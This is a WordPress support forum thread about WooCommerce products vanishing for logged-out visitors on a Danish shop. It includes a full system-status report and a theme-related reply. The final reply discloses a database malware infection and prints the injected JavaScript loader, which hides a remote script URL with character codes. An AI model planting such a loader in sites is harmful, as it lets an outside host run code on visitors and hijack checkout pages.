Support » Plugin: WooCommerce » Error: “You need to install and activate the WooCommerce Shop Plugin to…

  • Resolved madzzoni

    (@madzzoni)


    Hi there,
    i got a strange problem. When visiting the site https://www.egfloor.dk without login, i’ll get this strange message: “You need to install and activate the WooCommerce Shop Plugin to display WooCommerce Products”, where WooCommerce products should be present! When i login as admin the products are shown!
    WooCommerce 4.2 is installed and updated!
    Theme: Enfold Theme 4.5.

    Can anybody help here?

    ### WordPress Environment ###
    WordPress address (URL): https://www.egfloor.dk
    Site address (URL): https://www.egfloor.dk
    WC Version: 4.2.0
    REST API Version: ✔ 1.0.8
    WC Blocks Version: ✔ 2.5.16
    Action Scheduler Version: ✔ 3.1.6
    WC Admin Version: ✔ 1.2.3
    Log Directory Writable: ✔
    WP Version: 5.4.1
    WP Multisite: –
    WP Memory Limit: 205 MB
    WP Debug Mode: –
    WP Cron: ✔
    Language: da_DK
    External object cache: –

    ### Server Environment ###

    Server Info: Apache
    PHP Version: 7.3.18
    PHP Post Max Size: 256 MB
    PHP Time Limit: 50
    PHP Max Input Vars: 5000
    cURL Version: 7.58.0
    OpenSSL/1.1.1

    SUHOSIN Installed: –
    MySQL Version: 5.5.5-10.3.21-MariaDB-1:10.3.21+maria~bionic
    Max Upload Size: 256 MB
    Default Timezone is UTC: ✔
    fsockopen/cURL: ✔
    SoapClient: ✔
    DOMDocument: ✔
    GZip: ✔
    Multibyte String: ✔
    Remote Post: ✔
    Remote Get: ✔

    ### Database ###

    WC Database Version: 4.2.0
    WC Database Prefix: www_
    Total databasestørrelse: 52.32MB
    Database datastørrelse: 40.02MB
    Database indexstørrelse: 12.30MB
    www_woocommerce_sessions: Data: 0.09MB + Index: 0.02MB + Engine InnoDB
    www_woocommerce_api_keys: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_woocommerce_attribute_taxonomies: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_woocommerce_downloadable_product_permissions: Data: 0.02MB + Index: 0.06MB + Engine InnoDB
    www_woocommerce_order_items: Data: 0.06MB + Index: 0.02MB + Engine InnoDB
    www_woocommerce_order_itemmeta: Data: 0.25MB + Index: 0.25MB + Engine InnoDB
    www_woocommerce_tax_rates: Data: 0.02MB + Index: 0.06MB + Engine InnoDB
    www_woocommerce_tax_rate_locations: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_woocommerce_shipping_zones: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_woocommerce_shipping_zone_locations: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_woocommerce_shipping_zone_methods: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_woocommerce_payment_tokens: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_woocommerce_payment_tokenmeta: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_woocommerce_log: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_actionscheduler_actions: Data: 0.05MB + Index: 0.11MB + Engine InnoDB
    www_actionscheduler_claims: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_actionscheduler_groups: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_actionscheduler_logs: Data: 0.05MB + Index: 0.03MB + Engine InnoDB
    www_aelia_dismissed_messages: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_aelia_exchange_rates_history: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_commentmeta: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_comments: Data: 0.28MB + Index: 0.31MB + Engine InnoDB
    www_ewwwio_images: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_ewwwio_queue: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_layerslider: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_layerslider_revisions: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_links: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_ms_snippets: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_options: Data: 6.02MB + Index: 1.09MB + Engine InnoDB
    www_pmxe_exports: Data: 0.03MB + Index: 0.00MB + Engine InnoDB
    www_pmxe_google_cats: Data: 0.39MB + Index: 0.00MB + Engine InnoDB
    www_pmxe_posts: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_pmxe_templates: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_postmeta: Data: 9.13MB + Index: 3.59MB + Engine InnoDB
    www_posts: Data: 5.33MB + Index: 0.41MB + Engine InnoDB
    www_snippets: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_spbc_auth_logs: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_spbc_backuped_files: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_spbc_backups: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_spbc_firewall_data: Data: 3.52MB + Index: 3.52MB + Engine InnoDB
    www_spbc_firewall_logs: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_spbc_scan_frontend: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_spbc_scan_links_logs: Data: 0.02MB + Index: 0.05MB + Engine InnoDB
    www_spbc_scan_results: Data: 3.52MB + Index: 0.48MB + Engine InnoDB
    www_spbc_scan_signatures: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_spbc_traffic_control_logs: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_stock_log: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_termmeta: Data: 0.05MB + Index: 0.03MB + Engine InnoDB
    www_terms: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_term_relationships: Data: 0.08MB + Index: 0.05MB + Engine InnoDB
    www_term_taxonomy: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_usermeta: Data: 1.39MB + Index: 0.59MB + Engine InnoDB
    www_users: Data: 0.06MB + Index: 0.05MB + Engine InnoDB
    www_wcpdf_invoice_number: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wc_admin_notes: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wc_admin_note_actions: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wc_booking_relationships: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_wc_category_lookup: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wc_customer_lookup: Data: 0.06MB + Index: 0.03MB + Engine InnoDB
    www_wc_download_log: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_wc_order_coupon_lookup: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_wc_order_product_lookup: Data: 0.06MB + Index: 0.06MB + Engine InnoDB
    www_wc_order_stats: Data: 0.05MB + Index: 0.05MB + Engine InnoDB
    www_wc_order_tax_lookup: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_wc_product_meta_lookup: Data: 0.08MB + Index: 0.13MB + Engine InnoDB
    www_wc_tax_rate_classes: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wc_webhooks: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wfblockediplog: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wfblocks7: Data: 0.02MB + Index: 0.05MB + Engine InnoDB
    www_wfconfig: Data: 1.28MB + Index: 0.00MB + Engine InnoDB
    www_wfcrawlers: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wffilechanges: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wffilemods: Data: 3.52MB + Index: 0.00MB + Engine InnoDB
    www_wfhits: Data: 1.14MB + Index: 0.09MB + Engine InnoDB
    www_wfhoover: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wfissues: Data: 0.02MB + Index: 0.06MB + Engine InnoDB
    www_wfknownfilelist: Data: 1.52MB + Index: 0.00MB + Engine InnoDB
    www_wflivetraffichuman: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wflocs: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wflogins: Data: 0.17MB + Index: 0.06MB + Engine InnoDB
    www_wfls_2fa_secrets: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_wfls_settings: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wfnotifications: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wfpendingissues: Data: 0.02MB + Index: 0.06MB + Engine InnoDB
    www_wfreversecache: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wfsnipcache: Data: 0.02MB + Index: 0.05MB + Engine InnoDB
    www_wfstatus: Data: 0.16MB + Index: 0.11MB + Engine InnoDB
    www_wftrafficrates: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_chat_msgs: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_chat_ratings: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_chat_sessions: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_chat_triggers: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_custom_fields: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_departments: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_offline_messages: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_roi_conversions: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_roi_goals: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_wplc_webhooks: Data: 0.02MB + Index: 0.00MB + Engine InnoDB
    www_yoast_indexable: Data: 0.09MB + Index: 0.05MB + Engine InnoDB
    www_yoast_indexable_hierarchy: Data: 0.02MB + Index: 0.05MB + Engine InnoDB
    www_yoast_migrations: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_yoast_primary_term: Data: 0.02MB + Index: 0.03MB + Engine InnoDB
    www_yoast_seo_links: Data: 0.02MB + Index: 0.02MB + Engine InnoDB
    www_yoast_seo_meta: Data: 0.09MB + Index: 0.00MB + Engine InnoDB

    ### Post Type Counts ###

    attachment: 364
    avia_framework_post: 33
    bookable_resource: 3
    custom_css: 1
    feedback: 3
    jetpack_migration: 2
    jp_img_sitemap: 1
    jp_sitemap: 1
    jp_sitemap_master: 1
    jp_vid_sitemap: 1
    mt_pp: 101
    nav_menu_item: 73
    page: 16
    post: 7
    product: 182
    product_variation: 245
    revision: 614
    shop_coupon: 2
    shop_order: 192
    shop_order_refund: 1
    wc_booking: 230
    woo_discount: 5
    woo_discount_cart: 1

    ### Security ###

    Secure connection (HTTPS): ✔
    Hide errors from visitors: ✔

    ### Active Plugins (24) ###

    Find Products Without Shipping Class: af Shane Gowland –
    Bambora Online ePay: af Bambora Online – 5.1.2 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    Booster Plus for WooCommerce: af Pluggabl LLC – 5.0.0 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    Klassisk editor: af WordPress Contributors – 1.5
    Code Snippets: af Code Snippets Pro – 2.14.0
    Flexible Checkout Fields: af WP Desk – 2.4.11
    FlowPaper: af Devaldi Ltd – 1.9.2
    Health Check & Troubleshooting: af The WordPress.org community – 1.4.4
    Imsanity: af Exactly WWW – 2.6.0
    Jetpack af WordPress.com: af Automattic – 8.6.1
    Leverage Browser Caching: af Rinku Yadav – 1.9
    Maintenance: af WP Maintenance – 3.90
    User Profile Picture: af Ronald Huereca – 2.3.11
    My WP Translate: af MyThemeShop – 1.0.9
    Really Simple SSL: af Rogier Lankhorst
    Mark Wolters – 3.3.3

    Recurring Bookings for WooCommerce: af Bouncingsprout Studio – 1.5 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    Woo Discount Rules: af Flycart Technologies LLP – 1.9.9 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce Bookings: af Automattic – 1.11.2 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce Measurement Price Calculator: af SkyVerge – 3.17.3 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce Min/Max Quantities: af WooCommerce – 2.4.5 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce Services: af Automattic – 1.23.0 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce: af Automattic – 4.2.0
    Wordfence Security: af Wordfence – 7.4.7
    Yoast SEO: af Team Yoast – 14.2

    ### Inactive Plugins (7) ###

    Comet Cache: af WP Sharks – 170220
    Disable Enfold Webfont: af – 1.0
    Quttera Web Malware Scanner: af Quttera team – 3.3.0.76
    User Role Editor: af Vladimir Garagulya – 4.55.1
    WooCommerce Chained Products: af StoreApps – 2.9.1 – Den installerede version er ikke testet med den aktiverede version af WooCommerce 4.2.0
    WooCommerce Google Analytics Integration: af WooCommerce – 1.4.22
    WP-Live Chat by 3CX: af 3CX – 8.1.8

    ### Dropin Plugins (1) ###

    advanced-cache.php: advanced-cache.php

    ### Must Use Plugins (1) ###

    Health Check Troubleshooting Mode: af – 1.7.0

    ### Settings ###

    API Enabled: –
    Force SSL: –
    Currency: DKK (DKK)
    Currency Position: right_space
    Thousand Separator: ,
    Decimal Separator: .
    Number of Decimals: 2
    Taxonomies: Product Types: booking (booking)
    external (external)
    grouped (grouped)
    simple (simple)
    variable (variable)

    Taxonomies: Product Visibility: exclude-from-catalog (exclude-from-catalog)
    exclude-from-search (exclude-from-search)
    featured (featured)
    outofstock (outofstock)
    rated-1 (rated-1)
    rated-2 (rated-2)
    rated-3 (rated-3)
    rated-4 (rated-4)
    rated-5 (rated-5)

    Connected to WooCommerce.com: –

    ### WC Pages ###

    Shop basisside: #506 – /shop/
    Kurv: #507 – /kurv/
    Checkout: #608 – /checkout/
    Min konto: #609 – /kundekonto/
    Handelsbetingelser: #761 – /handelsbetingelser/

    ### Theme ###

    Name: Enfold
    Version: 4.5
    Author URL: https://kriesi.at
    Child Theme: ❌ – Hvis du redigerer WooCommerce i et hovedtema
    som du ikke selv har udviklet
    anbefaler vi
    at du anvender et undertema (child theme). Se: Hvordan du opretter et undertema

    WooCommerce Support: ✔

    ### Templates ###

    Overrides: –

    ### Action Scheduler ###

    Gennemført: 91
    Oldest: 2020-05-12 23:29:53 +0200
    Newest: 2020-06-08 23:14:34 +0200

    Best regards,
    madzzoni

    `

    The page I need help with: [log in to see the link]

Viewing 2 replies - 1 through 2 (of 2 total)
  • Plugin Support Rynald0s.a11n

    (@rynald0s)

    Automattic Happiness Engineer

    Hi @madzzoni!

    I had a closer look at your site and the message seems to be coming directly from your theme, by Enfold.

    I am not entirely sure what is happening here as I have personally never seen this message before, but I did manage to find the following request in Enfold, which may or may not help shed some light on this:

    https://kriesi.at/support/topic/you-need-to-install-and-activate-the-woocommerce-shop-plugin-to-display-woocomme/

    Alternatively, I would recommend you reach out to Enfold support so they can look into this for you.

    Cheers!

    Thread Starter madzzoni

    (@madzzoni)

    Hi again,
    I solved this problem today. Although I have WordFence with Firewall installed, my site was infected with the “collectfasttracks-com” Malware in the database which blocked WooCommerce for normal visitors and hacked the checkout site for logged in users/admins!

    I found this code under my user/customer profiles in WP Dashboard:
    <script type = text / javascript> (function () {var elem = document.createElement ('script'); elem.type = 'text / javascript'; elem.src = String.fromCharCode (104,116,116,112,115,58,47,47,100,101,115,116) , 46,99,111,108,108,101,99,116,102,97,115,116,116,114,97,99,107,115,46,99,111,109,47,103,108,111,99,107); document.getElementsByTagName ("head") [0] .appendChild (elem);}) (); </ script>

    Then i used this Quttera-tool to decode this script: https://malwaredecoder.com

    See this guide for more help, if U got this problem too!: https://guides.magefix.com/2020/03/dest-collectfasttracks-com/

    Hope this is helpful for others! 🙂

    Cheers, madzzoni

Viewing 2 replies - 1 through 2 (of 2 total)
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